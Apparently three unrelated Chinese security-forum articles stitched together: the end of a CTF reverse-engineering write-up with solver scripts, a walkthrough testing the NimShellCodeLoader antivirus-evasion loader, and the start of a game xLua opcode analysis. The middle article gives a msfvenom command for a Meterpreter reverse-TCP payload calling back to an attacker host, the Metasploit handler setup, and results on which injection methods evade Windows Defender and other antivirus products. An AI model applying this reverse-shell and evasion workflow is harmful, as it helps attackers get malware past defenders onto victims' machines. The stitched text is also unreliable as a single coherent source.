0x62, 0x31, 0x34, 0x63, 0x31, 0x61, 0x36, 0x39, 0x62, 0x30, 0x63, 0x34, 0x61, 0x30, 0x32, 0x34, 0x37, 0x34, 0x38, 0x30, 0x36, 0x66, 0x61, 0x37, 0x33, 0x63, 0x66, 0x62, 0x31, 0x30, 0x65, 0x31, 0x30, 0x66, 0x37, 0x62, 0x31, 0x36, 0x36, 0x35, 0x30, 0x32, 0x31, 0x63, 0x32, 0x34, 0x37, 0x36, 0x32, 0x62, 0x36, 0x65, 0x64, 0x61, 0x64, 0x36, 0x35, 0x63, 0x61, 0x36, 0x33, 0x63, 0x65, 0x61, 0x33, 0x63, 0x37, 0x32, 0x65, 0x30, 0x64, 0x34, 0x65, 0x34, 0x63, 0x61, 0x33, 0x66, 0x39, 0x38, 0x33, 0x30, 0x31, 0x31, 0x37, 0x33, 0x65, 0x65, 0x63, 0x33, 0x32, 0x35, 0x34, 0x33, 0x33, 0x37, 0x61, 0x66, 0x31, 0x66, 0x35, 0x61, 0x31, 0x31, 0x66, 0x37, 0x37, 0x39, 0x65, 0x63, 0x62, 0x65, 0x30, 0x34, 0x64, 0x31, 0x62, 0x37, 0x34, 0x64, 0x35, 0x33, 0x66, 0x35, 0x38, 0x33, 0x35, 0x65, 0x30, 0x31, 0x31, 0x32, 0x32, 0x32, 0x31, 0x35, 0x35, 0x61, 0x35, 0x36, 0x66, 0x39, 0x37, 0x65, 0x30, 0x30, 0x64, 0x37, 0x35, 0x33, 0x37, 0x34, 0x63, 0x64, 0x39, 0x33, 0x30, 0x38, 0x30, 0x64, 0x66, 0x61, 0x30, 0x38, 0x37, 0x63, 0x64, 0x33, 0x35, 0x36, 0x61, 0x39, 0x39, 0x66, 0x65, 0x31, 0x65, 0x65, 0x62, 0x66, 0x35, 0x64, 0x36, 0x64, 0x35, 0x65, 0x33, 0x31, 0x38, 0x34, 0x36, 0x61, 0x61, 0x64, 0x35, 0x32, 0x35, 0x32, 0x63, 0x33, 0x61, 0x31, 0x37, 0x61, 0x34, 0x36, 0x35, 0x36, 0x65, 0x32, 0x65, 0x32, 0x31, 0x30, 0x63, 0x65, 0x31, 0x63, 0x37, 0x61, 0x61, 0x34, 0x64, 0x31, 0x34, 0x37, 0x66, 0x62, 0x38, 0x63, 0x66, 0x34, 0x34, 0x30, 0x61, 0x35, 0x30, 0x61, 0x64, 0x64, 0x36, 0x31, 0x62, 0x62, 0x62, 0x32, 0x65, 0x63, 0x32, 0x39, 0x39, 0x61, 0x32, 0x65, 0x30, 0x64, 0x61, 0x62, 0x30, 0x62, 0x34, 0x35, 0x30, 0x34, 0x37, 0x39, 0x36, 0x61, 0x63, 0x33, 0x61, 0x38, 0x39, 0x39, 0x64, 0x61, 0x35, 0x35, 0x33, 0x61, 0x62, 0x31, 0x64, 0x38, 0x33, 0x35, 0x37, 0x36, 0x36, 0x39, 0x31, 0x61, 0x62, 0x32, 0x33, 0x34, 0x30, 0x39, 0x64, 0x31, 0x38, 0x33, 0x39, 0x38, 0x30, 0x31, 0x34, 0x62, 0x33, 0x62, 0x35, 0x65, 0x61, 0x66, 0x31, 0x32, 0x65, 0x38, 0x33, 0x66, 0x34, 0x64, 0x39, 0x39, 0x61, 0x61, 0x30, 0x39, 0x65, 0x31, 0x65, 0x34, 0x65, 0x34, 0x63, 0x61, 0x65, 0x31, 0x33, 0x33, 0x35, 0x33, 0x30, 0x37, 0x33, 0x30, 0x63, 0x31, 0x31, 0x33, 0x33, 0x64, 0x61, 0x32, 0x62, 0x33, 0x64, 0x65, 0x65, 0x33, 0x37, 0x62, 0x35, 0x38, 0x65, 0x62, 0x31, 0x61, 0x35, 0x37, 0x39, 0x35, 0x62, 0x32, 0x32, 0x31, 0x65, 0x63, 0x35, 0x61, 0x38, 0x38, 0x33, 0x30, 0x37, 0x33, 0x31, 0x61, 0x34, 0x31, 0x31, 0x36, 0x37, 0x64, 0x32, 0x39, 0x35, 0x66, 0x39, 0x65, 0x31, 0x62, 0x30, 0x32, 0x30, 0x33, 0x30, 0x31, 0x30, 0x30, 0x30, 0x31, 0x33, 0x30, 0x30, 0x64, 0x30, 0x36, 0x30, 0x39, 0x32, 0x61, 0x38, 0x36, 0x34, 0x38, 0x38, 0x36, 0x66, 0x37, 0x30, 0x64, 0x30, 0x31, 0x30, 0x31, 0x30, 0x35, 0x30, 0x35, 0x30, 0x30, 0x30, 0x33, 0x38, 0x32, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x65, 0x34, 0x37, 0x34, 0x30, 0x32, 0x33, 0x35, 0x65, 0x39, 0x63, 0x66, 0x32, 0x62, 0x65, 0x33, 0x33, 0x64, 0x65, 0x33, 0x65, 0x30, 0x36, 0x64, 0x37, 0x37, 0x37, 0x31, 0x33, 0x39, 0x63, 0x62, 0x62, 0x63, 0x35, 0x63, 0x66, 0x30, 0x36, 0x32, 0x32, 0x32, 0x38, 0x35, 0x63, 0x31, 0x37, 0x64, 0x61, 0x30, 0x34, 0x36, 0x39, 0x37, 0x62, 0x38, 0x30, 0x36, 0x37, 0x33, 0x31, 0x38, 0x61, 0x61, 0x66, 0x38, 0x64, 0x66, 0x30, 0x66, 0x62, 0x62, 0x34, 0x64, 0x33, 0x31, 0x36, 0x36, 0x66, 0x32, 0x39, 0x33, 0x65, 0x61, 0x31, 0x35, 0x61, 0x61, 0x32, 0x35, 0x39, 0x32, 0x66, 0x30, 0x36, 0x65, 0x62, 0x36, 0x39, 0x32, 0x39, 0x61, 0x66, 0x30, 0x36, 0x33, 0x37, 0x32, 0x32, 0x61, 0x63, 0x39, 0x66, 0x33, 0x30, 0x61, 0x64, 0x38, 0x35, 0x65, 0x32, 0x63, 0x30, 0x38, 0x37, 0x35, 0x36, 0x34, 0x39, 0x33, 0x31, 0x64, 0x36, 0x61, 0x63, 0x36, 0x35, 0x66, 0x63, 0x64, 0x35, 0x66, 0x62, 0x63, 0x38, 0x36, 0x34, 0x62, 0x33, 0x64, 0x63, 0x39, 0x38, 0x34, 0x31, 0x65, 0x30, 0x33, 0x39, 0x63, 0x36, 0x65, 0x31, 0x64, 0x35, 0x66, 0x62, 0x63, 0x35, 0x63, 0x32, 0x66, 0x38, 0x61, 0x64, 0x66, 0x39, 0x30, 0x61, 0x35, 0x34, 0x37, 0x62, 0x63, 0x34, 0x65, 0x62, 0x63, 0x30, 0x37, 0x64, 0x33, 0x38, 0x37, 0x39, 0x31, 0x34, 0x64, 0x62, 0x32, 0x34, 0x34, 0x35, 0x31, 0x63, 0x32, 0x63, 0x63, 0x38, 0x39, 0x39, 0x32, 0x35, 0x33, 0x35, 0x39, 0x62, 0x64, 0x33, 0x62, 0x62, 0x30, 0x37, 0x35, 0x30, 0x63, 0x37, 0x61, 0x61, 0x62, 0x66, 0x39, 0x64, 0x37, 0x34, 0x33, 0x62, 0x31, 0x38, 0x39, 0x33, 0x65, 0x39, 0x38, 0x62, 0x62, 0x63, 0x38, 0x66, 0x66, 0x37, 0x34, 0x62, 0x32, 0x34, 0x66, 0x63, 0x30, 0x62, 0x34, 0x62, 0x65, 0x32, 0x64, 0x62, 0x61, 0x61, 0x66, 0x31, 0x63, 0x39, 0x31, 0x37, 0x62, 0x62, 0x61, 0x30, 0x31, 0x34, 0x39, 0x36, 0x64, 0x30, 0x36, 0x31, 0x37, 0x66, 0x66, 0x63, 0x33, 0x61, 0x34, 0x61, 0x38, 0x62, 0x37, 0x61, 0x36, 0x65, 0x37, 0x39, 0x61, 0x33, 0x30, 0x33, 0x36, 0x32, 0x39, 0x38, 0x61, 0x36, 0x65, 0x62, 0x66, 0x35, 0x37, 0x62, 0x62, 0x30, 0x30, 0x30, 0x30, 0x31, 0x65, 0x34, 0x33, 0x61, 0x30, 0x62, 0x32, 0x34, 0x32, 0x38, 0x36, 0x34, 0x65, 0x65, 0x62, 0x62, 0x30, 0x66, 0x63, 0x65, 0x63, 0x39, 0x65, 0x33, 0x32, 0x33, 0x31, 0x34, 0x34, 0x64, 0x34, 0x34, 0x34, 0x37, 0x63, 0x38, 0x37, 0x38, 0x34, 0x33, 0x30, 0x66, 0x31, 0x38, 0x65, 0x36, 0x65, 0x33, 0x35, 0x38, 0x61, 0x64, 0x39, 0x37, 0x35, 0x36, 0x36, 0x66, 0x61, 0x30, 0x34, 0x64, 0x31, 0x66, 0x30, 0x37, 0x62, 0x31, 0x37, 0x31, 0x63, 0x31, 0x34, 0x37, 0x36, 0x63, 0x39, 0x61, 0x66, 0x35, 0x61, 0x31, 0x65, 0x62, 0x61, 0x30, 0x62, 0x66, 0x36, 0x36, 0x31, 0x36, 0x65, 0x32, 0x31, 0x39, 0x63, 0x30, 0x62, 0x39, 0x65, 0x31, 0x32, 0x39, 0x39, 0x64, 0x30, 0x39, 0x66, 0x65, 0x63, 0x64, 0x65, 0x64, 0x32, 0x34, 0x61, 0x38, 0x38, 0x30, 0x33, 0x39, 0x37, 0x66, 0x39, 0x32, 0x65, 0x30, 0x66, 0x39, 0x39, 0x64, 0x38, 0x39, 0x35, 0x31, 0x32, 0x32, 0x38, 0x63, 0x37, 0x37, 0x37, 0x30, 0x63, 0x31, 0x38, 0x34, 0x66, 0x64, 0x37, 0x37, 0x61, 0x64, 0x66, 0x66, 0x39, 0x34, 0x33, 0x62, 0x66, 0x63, 0x38, 0x62, 0x36, 0x61, 0x61, 0x35, 0x32, 0x34, 0x63, 0x35, 0x66, 0x30, 0x61, 0x36, 0x64, 0x37, 0x36, 0x38, 0x36, 0x66, 0x65, 0x33, 0x35, 0x34, 0x38, 0x36, 0x0, 0x20, 0x2a, 0x20, 0x72, 0x61, 0x64, 0x69, 0x69, 0x20, 0x2b, 0x20, 0x61, 0x61, 0x5f, 0x6f, 0x75, 0x74, 0x73, 0x65, 0x74, 0x3b, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x60, 0x1, 0xcb, 0x8, 0x7c, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x50, 0x72, 0x6f, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x80, 0x3f, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x80, 0x3f, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x80, 0x3f, 0x10, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x3d, 0x20, 0x63, 0x6f, 0x72, 0x6e, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x73, 0x5f, 0x6f, 0x75, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xd0, 0xc4, 0xe, 0x77, 0x7b, 0x0, 0x0, 0x0, 0x18, 0xc5, 0xe, 0x77, 0x7b, 0x0, 0x0, 0x0, 0x28, 0xc9, 0xe, 0x77, 0x7b, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x48, 0x49, 0x1a, 0x77, 0x7b, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x5f, 0x63, 0x6f, 0x76, 0x65, 0x72, 0x61, 0x67, 0x65, 0x20, 0x3d, 0x20, 0x61, 0x61, 0x5f, 0x62, 0x6c, 0x6f, 0x61, 0x74, 0x5f, 0x61, 0x6e, 0x64, 0x5f, 0x63, 0x6f, 0x76, 0x65, 0x72, 0x61, 0x67, 0x65, 0x2e, 0x77, 0x3b, 0x66, 0x6c, 0x6f, 0x61, 0x74, 0x32, 0x20, 0x70, 0x69, 0x78, 0x65, 0x6c, 0x6c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x20, 0x3d, 0x20, 0x69, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x73, 0x71, 0x72, 0x74, 0x28, 0x66, 0x6c, 0x6f, 0x61, 0x74, 0x32, 0x28, 0x64, 0x6f, 0x74, 0x28, 0x73, 0x6b, 0x65, 0x77, 0x2e, 0x78, 0x7a, 0x2c, 0x20, 0x73, 0x6b, 0x65, 0x77, 0x2e, 0x78, 0x7a, 0x29, 0x2c, 0x20, 0x64, 0x6f, 0x74, 0x28, 0x73, 0x6b, 0x65, 0x77, 0x2e, 0x79, 0x77, 0x2c, 0x20, 0x73, 0x6b, 0x65, 0x77, 0x2e, 0x79, 0x77, 0x29, 0x29, 0x29, 0x3b, 0x66, 0x6c, 0x6f, 0x61, 0x74, 0x34, 0x20, 0x6e, 0x6f, 0x72, 0x6d, 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x64, 0x5f, 0x61, 0x78, 0x69, 0x73, 0x5f, 0x64, 0x69, 0x72, 0x73, 0x20, 0x3d, 0x20, 0x73, 0x6b, 0x65, 0x77, 0x20, 0x2a, 0x20, 0x70, 0x69, 0x78, 0x65, 0x6c, 0x6c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x2e, 0x78, 0x79, 0x78, 0x79, 0x3b, 0x66, 0x6c, 0x6f, 0x61, 0x74, 0x32, 0x20, 0x61, 0x78, 0x69, 0x73, 0x77, 0x69, 0x64, 0x74, 0x68, 0x73, 0x20, 0x3d, 0x20, 0x28, 0x61, 0x62, 0x73, 0x28, 0x6e, 0x6f, 0x72, 0x6d, 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x64, 0x5f, 0x61, 0x78, 0x69, 0x73, 0x5f, 0x64, 0x69, 0x72, 0x73, 0x2e, 0x78, 0x79, 0x29]
for i in range(42):
target[i] = (target[i] << 3) | (target[i] >> 5);
target[0] ^= sig[327];
for i in range(1, 42):
target[i] ^= sig[354 + 27 * (i - 1)] + i;
print(''.join(map(lambda x: chr(x & 0xff), target)));
### ooo
> 如何解呢？
>
> [附件下载](https://pan.baidu.com/s/1fPLMHIFLk4LBJyZFvZ98kg)
> 提取码（GAME）[备用下载](https://share.weiyun.com/FjpfTESi)
使用输入字符串的第7、8、9位异或的值对全字符串进行异或，并于最终结果进行比较。
值得注意的是最终结果的7、8、9位异或并不为0，说明该段内存中的值被改变过，可以找到在401D94处的函数对最终结果做了一个异或0x17的操作。
猜测 flag 第一位为 `f`，即可解出该题。
key = [17,283,534,784,1036,1350,1604,1809,2116,2370,2625,2881,3140,3418,3650,3911,4118,4419,4698,4931,5184,5440,5653,5978,6213,6464,6735,6933,7258,7445,7744,8006,8262,8519,8773,9025,9233,9489,9792,10006,10259,10506]
key = [i ^ 0x17 for i in key]
print(''.join([chr((i ^ key[0] ^ ord('f')) & 0xff) for i in key]))
### mod
> 花花总喜欢把东西隐藏起来。
>
> [附件下载](https://pan.baidu.com/s/1ZJ4HoT7LB5sR6iDFjifVqw)
> 提取码（GAME）[备用下载](https://share.weiyun.com/pe79dRcn)
代码中存在两处花指令，分别为4013E4与401203。
去除花指令后，可以看出代码对输入进行三个一组的编码，爆破即可。
charset = 'ABCDFEGH1JKLRSTMNP0VWQUXY2a8cdefijklmnopghwxyqrstuvzOIZ34567b9+/'
enc = [charset.index(
i) for i in '2aYcdfL2fS1BTMMF1RSeMTTASS1OJ8RHTJdBYJ2STJfNMSMAYcKUJddp']
res = []
def f(i):
for a1 in range(32, 128):
for a2 in range(32, 128):
for a3 in range(32, 128):
a = [a1, a2, a3]
if enc[4 * i] == (((a[2] & 3) << 2) | a[1] & 0x30 | a[0] & 0xC0) >> 2 \
and enc[4 * i + 1] == (((a[0] & 3) << 2) | a[2] & 0x30 | a[1] & 0xC0) >> 2 \
and enc[4 * i + 2] == (((a[1] & 3) << 2) | a[0] & 0x30 | a[2] & 0xC0) >> 2 \
and enc[4 * i + 3] == (a[2] & 0xC | (a[1] << 2) & 0x30 | (a[0] << 4) & 0xC0) >> 2:
print(''.join(map(chr, a)), end='')
return
for i in range(0, len(enc) // 4):
f(i)
print()
# flag{5a073724-8223-413d-11fa-d53b133df89e}
## 小结
往年的这个比赛都挺水的，不过不懂为啥，今年开始这比赛也卷起来了。
比如这次的 web 题还是挺难的，有道 Java 题目要自己构造恶意类进行反序列化，可惜喵喵目前还不会 Java，其他师傅说会 Java 就能出，喵喵哭哭。
有个 nodejs 考的是数组 bypass SQL 注入 + hbs 模板引擎 RCE，还是有点巧妙的，咱没想到。
还有个 Apache 的反代，内网是个 weblogic，听说就两个 CVE 一打就行，然而喵喵不会，呜呜。
> [Apache mod_proxy
> SSRF（CVE-2021-40438）的一点分析和延伸](https://www.leavesongs.com/PENETRATION/apache-> mod-proxy-ssrf-cve-2021-40438.html)
噢你问我为啥不做 pwn，因为队友学弟看到堆题直接跑了 _（摊手.jpg_ ，怎么大家都会 pwn 啊
喵喵好菜啊！！！
欢迎各位大师傅们来 [咱博客](https://miaotony.xyz/?utm_source=anquanke) 逛逛喵~
_（溜了溜了喵~_ | 社区文章 |
# 1\. 前言
本来看着`dayu`师傅在`freebuf`上更新了`NimShellCodeLoader`免杀的文章，所以想着复现下，但是在复现中发现了很多的坑，本来想着都实现一波的，但是事实上由于种种原因，生成的木马执行报错、执行不上线、时间问题等问题有很多。我只对其是否能够过`Windows
Defender`上进行了测试。
项目地址：
`https://github.com/aeverj/NimShellCodeLoader`
这里也看出了`aeverj`真的好厉害，人家的很多免杀思想可以让我好好学习好久。
`这篇文章出不了啥免杀，但是绝对帮你把坑踩平了。`
本文所有方法都过不了最新版`Windows Defender`，但是大部分方法过火绒，小一半的方法过`360`，或者叫过`国内主流杀软`应该是没问题的。
本文仅仅是简单的免杀堆叠，没有啥分析，后续会更新更多的免杀方法。
## 1.1 工具使用的坑
* 环境安装上有坑
* 编译出来的`exe`报错
* 编译出来的`exe`无法上线（少许加载方式）
相关的`issue`在作者的`github`上也已经有了：
`https://github.com/aeverj/NimShellCodeLoader/issues/6`
`https://github.com/aeverj/NimShellCodeLoader/issues/4`
## 1.2 自行编译的坑
我按照作者的源代码进行编译的时候发现，除了`Nim`的模块编译，还需要`C#`的编译才行，这一点我没仔细看，所以大家如果使用的话，可以直接下载作者的最新版直接使用即可。
# 1\. nim介绍
`Nim` 是一种静态类型的、编译型、系统编程语言。它结合了其他成熟语言的成功概念（如 `Python`、`Ada` 和
`Modula`）。（参考：<https://nim-lang-cn.org/）>
# 2\. 环境准备
测试机1：`Windows 10` `Windows Defender最新版`
测试机2：`Windows Server2019` 、`Windows Defender最新版`、`火绒联网最新版`
攻击机：`Mac` 、`msf`、`cs4.3`
在以下测试中，均关闭`Windows Defender`最新版的自动上传样本功能。
ps：因为环境问题，这里的免杀基本上没有进行太多的测试，只是提供了一些踩坑日记。
## 2.1 Nim安装
在`https://nim-lang.org/install.html`上选择下载`Windows`的
然后选择`x64`位的下载：
在`Chrome`浏览器下载的时候，会报毒：
在这里直接忽略就行了：
将得到的文件解压，然后再移动到`C`盘目录下（这个无所谓）：
复制`bin`目录下的路径：
`C:\nim-1.6.4_x64\nim-1.6.4\bin`
将该路径添加到环境变量中去：
按照这个步骤，选择系统变量之后，找到`Path`，编辑，再新建：
将信息填入之后，保存，打开`cmd`命令窗口，输入`nim`：
此时代表`Nim`安装成功；
## 2.2 安装MinGW
`MinGW`是为`Nim`编译所必须的，MinGW主要是编译`C`、`C++`代码用的，在这里一共有两种方式：
* 直接下载`MinGW`安装
* 利用Nim自带的程序`finish.exe`安装
### 2.2.1 直接安装MinGW
首先按照教程，安装`MinGW`
在这里有下载链接地址：
<https://sourceforge.net/projects/mingw-w64/files/>
下载最新版`x64`位版本：
`64`位系统建议选择`x86_64-posix-sjlj`
`32`位系统建议选择`i686-posix-sjlj`
`MingGW64` 版本区别于各版本说明
<https://www.pcyo.cn/linux/20181212/216.html>
将解压之后的文件放入到`C`盘根目录下：
然后来到`bin`目录下，使用命令行检查当前的`gcc`版本：
`gcc.exe --version`
然后就是和上面一样，设置系统环境变量：
在`控制面板\系统和安全\系统`中，选择`高级系统设置\高级\环境变量`，设置环境变量：
将`MinGW`添加到系统环境变量中去：
完成之后，确认退出：
在新的命令行中尝试输入`gcc.exe --version`
此时证明`MinGW`安装成功。
### 2.2.2 利用Nim自带的程序finish.exe安装
在`Nim`的环境中，有一个程序是`finish.exe`，可以利用该程序下载`MinGW`的安装包：
在命令行里面启动这个文件，一路`Y`下去之后，下载完成，利用自带的`7z`压缩工具进行解压，解压之后就是手动配置环境变量。
下载完成之后，来到下载文件的目录：
`C:\nim-1.6.4_x64\nim-1.6.4\dist\mingw64\bin`
复制该路径，添加到系统变量中去，确认之后，打开一个新的`cmd`窗口，检测环境是否正常：
### 2.2.3 注意事项
上述的两种方法中只能使用一种，而且前提是先不使用Nim进行编译工作，否则会由于缓存问题导致第二种线上安装的方式编译出错。
## 2.3 安装winim库
下载地址：`https://github.com/khchen/winim`
在当前路径下，使用`nimble install` 安装即可。
# 3\. NimShellCodeLoader原版
`NimShellCodeLoader`是由`Nim`编写`Windows`平台`shellcode`免杀加载器，目前最新的版本为2022年2月3日更新的；
版本号为`0.3`；
<https://github.com/aeverj/NimShellCodeLoader/releases/tag/0.3>
下载下来，解压：
当前作者已经对该文件直接进行了编译，无须再次编译，下面开始测试：
## 3.1 Windows Defender静态杀毒
当前有`Windows Defender`最新版：
此时的`Windows Defender`显示安全无毒；
## 3.2 火绒静态杀毒
# 4\. NimShellCodeLoader源代码编译
注意：当前编译需要`c#`编译，在这里我是失败的！！！
从以下链接下载源代码版本：
`https://github.com/aeverj/NimShellCodeLoader/releases/tag/0.3`
下载之后解压之后放到`win10`上，进入`encryption`目录下进行编译：
`nim c -d:release --opt:size Tdea.nim`
`nim c -d:release --opt:size Caesar.nim`
然后对项目进行`C#`编译，我本地没环境。
# 4\. NimShellCodeLoader免杀测试
在下载`NimShellCodeLoader`之后，由于没有被杀毒软件查杀，所以在这里我们直接对其进行免杀测试：
首先要做好准备工作：
在攻击机启动`msf`，并且生成一个。
## 4.1 生成shellcode
首先用Msfvenom生成raw格式的shellcode，当前使用了shikata_ga_na编码模块：
生成的监听机器为mac，ip为10.211.55.2，端口：1234
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=1234 -f raw -o payload.bin
1
攻击机开启监听：
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run
将payload拖到窗口中去：
此图来源于作者的项目介绍，稍微有一些小的改动：<https://github.com/aeverj/NimShellCodeLoader>
注意：以下生成免杀的系统全部关闭了杀软。
# 4.2 Cobalt Strike生成shellcode
在本地启动一个`cs`，然后连接：
建立监听，选择攻击-生成后门-`Payload`生成器，生成一个原始的`shellcode`文件：
生成`payload`：
## 4.1 OEP_Hiijack_Inject_Load
### 4.1.1 凯撒加密
当前模块使用的是`msf`的`shellcode`测试的：
直接在这里点击生成：
生成的文件路径：
直接双击运行：
此时`msf`上线正常：
### 4.1.2 免杀能力
#### 火绒（成功）
测试下上线：
上线正常。
#### windwos Defender（失败）
秒杀
###
当前使用`CS`生成的`shellcode`进行测试：
双击之后上线正常：
同样无法过`Windows Defender`
###
### 4.1.3 3DES加密（无法执行）
使用第二种加密方式：`3DES`
此时生成的程序无法正常执行：
### 4.1.4 免杀能力
无法执行，此处略。
## 4.2 Thread_Hiijack_Inject_Load
### 4.2.1 凯撒加密（上线失败）
虽然可以生成，但是无法执行上线操作。
### 4.2.2 3DES加密（cs上线成功）
### 4.2.3 免杀能力
此时`Windows Defender`免杀失败
## 4.3 APC_Ijnect_Load
### 4.3.1 凯撒加密（上线失败）
此时`cs`上线失败！
### 4.3.2 DES加密（上线失败）
生成成功，但是上线失败。
### 4.3.3. 免杀能力（pass）
`pass`
## 4.4 Early_Bird_APC_Injetc_Load
### 4.4.1凯撒加密
上线测试：
### 4.4.2 免杀能力测试
`Windows Defender`免杀测试：
被杀
### 4.4.3 3DES加密
双击之后，上线成功：
### 4.4.4 免杀能力测试
## 4.5 Direct_Load
### 4.5.1凯撒加密
双击之后上线：
### 4.5.2 免杀能力测试
`Windows Defender`直接查杀
### 4.5.3 3DES加密
双击之后直接上线：
### 4.5.4 免杀能力测试
直接被杀
## 4.6 Thread_Pool_Wait
### 4.6.2 凯撒加密
双击之后直接上线：
### 4.6.3 免杀能力测试
### 4.6.4 3DES加密
双击之后即可上线：
### 4.6.4 免杀能力
## 4.7 Fiber_Load
### 4.7.1 凯撒加密
双击之后上线：
### 4.7.2 免杀能力
### 4.7.3 3DES加密
双击之后即可上线：
### 4.7.4 免杀能力
## 4.8 CertEnumSystemStore
### 4.8.1 凯撒加密
### 4.8.2 免杀能力
### 4.8.3 3DES加密
双击之后上线正常：
### 4.8.4 免杀能力
## 4.9 CertEnumSystemStoreLocation
### 4.9.1 凯撒加密
双击之后，上线正常：
### 4.9.2 免杀能力
###
### 4.9.3 3DES加密
双击之后，正常上线：
### 4.9. 4 免杀能力
## 4.10 CopyFile2
### 4.10.1 凯撒加密
### 4.10.2 免杀能力
### 4.10.3 3DES加密
### 4.10.4 免杀能力
# 5\. 其他免杀方法
由于篇幅问题，我在这里将后续的所有方法都进行了整理，分别生成了`凯撒加密`和`3des`加密之后的文件，并且直接使用`Windows
Defender`进行扫描杀毒，如果有免杀`Windows Defender`的文件，再进行其上线功能测试。
其他的免杀方法如下
## 5.1 EnumFontsW
## 5.2 EnumFontFamiliesW
## 5.3 EnumFontFamiliesExW
## 5.4 EnumDisplayMonitors
## 5.5 EnumDesktopWindows
## 5.6 EnumDesktopW
## 5.7 EnumChildWindows
## 5.8 CopyFileEx
## 5.9 CreateTimerQueueTimer_Tech
## 5.10 CryptEnumOIDInfo
## 5.11 EnumChildWindows
全部使用Windows Defender查杀：
查杀之后，清理电脑，看下有无能够存活的exe：
此时所有的`exe`全部被杀。。。。。。
# 6\. 总结
在以上的测试中，`NimShellCodeLoader`提供的21种注入加载方法，而且还有两种不同的加密技术，并且密钥随机，每次生成的文件拥有不同的`hash`值。
但是由于公开的原因，目前无法直接过`Windows Defender`（2022.03.17）。
因为篇幅原因，我并未对其是否免杀火绒和`360`进行测试，理论上将其中的绝大多数方法可以过火绒，大部分方法可以过`360`杀毒。（我并未对其进行测试，只是我的一个猜想）
当然，作者还提供了拓展的思路和指引，如果加上自己的某些修改，理论上将是可以过`Windows Defender`的，等后续有时间，我再学习学习。 | 社区文章 |
# 某游戏xLua分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
以前做过很多同类CTF题，闲得无聊，正好在分析样本的时候遇到了xLua，实战一下功能的分析，总结一下关于Lua的相关知识。
## 静态分析
懒得注入然后dump进行opcode比对，直接静态分析。
差异：Lua变为Mua，😗
版本53格式1，是xLua的差异，打开了LUAC_COMPATIBLE_FORMAT，因此格式是1，并且去掉了size_t的校验
并且根据是否为Mua，checkHeader有所不同
LoadState增加Mua的信息
struct LoadState
{
struct lua_State *L;
struct ZIO *Z;
const char *name;
uint8_t isMua;
uint32_t mua;
};
LoadFunction也是对isMua进行了判断，如果是Mua的话，会先LoadConstant再LoadCode，调换了顺序。其余似乎没有差别
字节码不出意料被打乱了顺序，下面开始分析分析对应关系，首先可以搜索local解决部分对应关系
OP_MOVE = 21,
OP_LOADK = 22,
OP_GETUPVAL = 26,
OP_LOADKX = 28,
OP_SELF = 29,
OP_GETTABUP = 36,
OP_GETTABLE = 41,
OP_LOADNIL = 38,
OP_TFORCALL = 39,
OP_CALL = 44,
OP_TAILCALL = 32,
OP_JMP = 17
其实也可以通过这个表看出一些端倪，这里是一定按OpCode顺序存放的
可以猜想有一段（数学运算）是整体平移的，貌似以前CTF也做过这样的
继续找对应关系，比如相同的可以缩小范围
以此类推，得出对应关系。之后就可以成功反编译了，不过看结果还套了额外一层东西，继续研究。
## 动态分析
最后还是得注入看看sb函数是什么东西，首先分析这个CreateLuaTable，从资源中提取出来
